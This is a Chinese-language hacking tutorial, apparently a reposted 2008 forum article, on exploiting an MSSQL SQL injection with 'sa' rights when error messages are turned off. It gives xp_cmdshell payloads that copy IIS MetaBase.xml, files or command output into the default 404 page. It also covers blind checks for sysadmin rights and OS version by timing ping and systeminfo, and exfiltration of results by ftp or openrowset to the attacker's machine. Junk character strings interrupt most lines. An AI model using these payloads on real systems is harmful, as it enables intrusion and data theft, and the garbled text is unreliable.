遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。$ M' ?+ K/ x' \
# r) h) q+ c7 z6 w 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。8 a& m) b* C3 \! i) [" f
/ M7 i: d) E/ h. y' w 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
6 d5 j/ _5 y; }. D# N% R# \3 [/ A, e5 a( o A# d( }
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm4 d. W/ W0 ~3 l- k+ a- p
* s( o% _. U( S; H0 z4 d& o
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--4 d/ z# v. a: `
# L: e9 ?( r1 M% D6 @ ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。 R4 _: j8 A$ ]
3 g8 G j9 s' r# z$ t N: E
执行命令得到回显
; A, Y: J+ z3 L9 G
1 s5 q* G+ x: k6 X 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
( k0 {9 T- V- m- H& E/ R E8 i: E; V" B
得到文件也shi相同,把文件copy到404b.htm就行了* F& c5 b ]# @8 o+ n
6 `4 g3 c) m. U% }! H# Y by 28ice, 2008/6/26
4 X5 @% x! o- G) }0 t5 v
$ S; J9 f; q1 B5 I 摘自 28度的冰
6 E* V3 f. d6 F: S% |& T: b! A$ Z [5 D
' v( G3 u! I" s) H 盲注判断权限和操作系统版本
; I- L i9 G' T# v a0 q: H1 R7 H1 b3 v* r
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?: H. b& Q5 k; J+ Y. k
% p7 }8 e% i$ K! m; \4 {; H% t' L 最简单的,可能以用这样的方法:
9 ?) `' K! K6 {/ X
$ t: Y3 @, }/ a- A Y 1=(select IS_SRVROLEMEMBER(’sysadmin’))
$ Y- S* o+ [: n% n1 ^% w2 s4 ?! b! _1 X L7 [! A
当然,有些情况下,这个方法并不奏效。' E/ Z) ~8 L$ q: ^' g* l7 r
- P1 S' b$ |0 U/ |5 Y2 ~' ~: T6 }
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。% b$ Q# x" x% K' z0 K7 H* p
8 a) q- [7 Q% T- i/ Y- Y
有个3办法可能以解决这个问题! M( }7 C4 l) r5 u" e
+ l1 D! o4 b& F/ G! ]" S2 A a.把执行结果写到404b.htm,具体请看我的上一篇文章
$ G2 L6 w$ \* Q5 m( }2 y- H9 z
; J, g0 F! v' }3 x% i b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟( Z, o7 k$ ~; n9 M) Q
0 q: I; d4 l! X* e+ R, R- M% `
c.如果1433端口可能以连接,那干脆新建个sql登录, ?* f+ L' Y) k; z! f7 @* s1 x
" I/ E% u; `* @ e0 Q" x% { d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
( a" P5 w( d+ n( J0 p7 }, l) S0 H/ T2 M6 c/ x) _" T2 l
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下7 b8 e* D5 M) E/ U, H1 {
0 _: u. Y1 F' z2 u7 W' O. f 很简单
O; k! l; ]' m7 r' {4 F i! q2 e6 D1 R
执行systeminfo
6 f! S' G! S9 P* v/ _
! {9 `$ _/ m7 D- K5 T 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |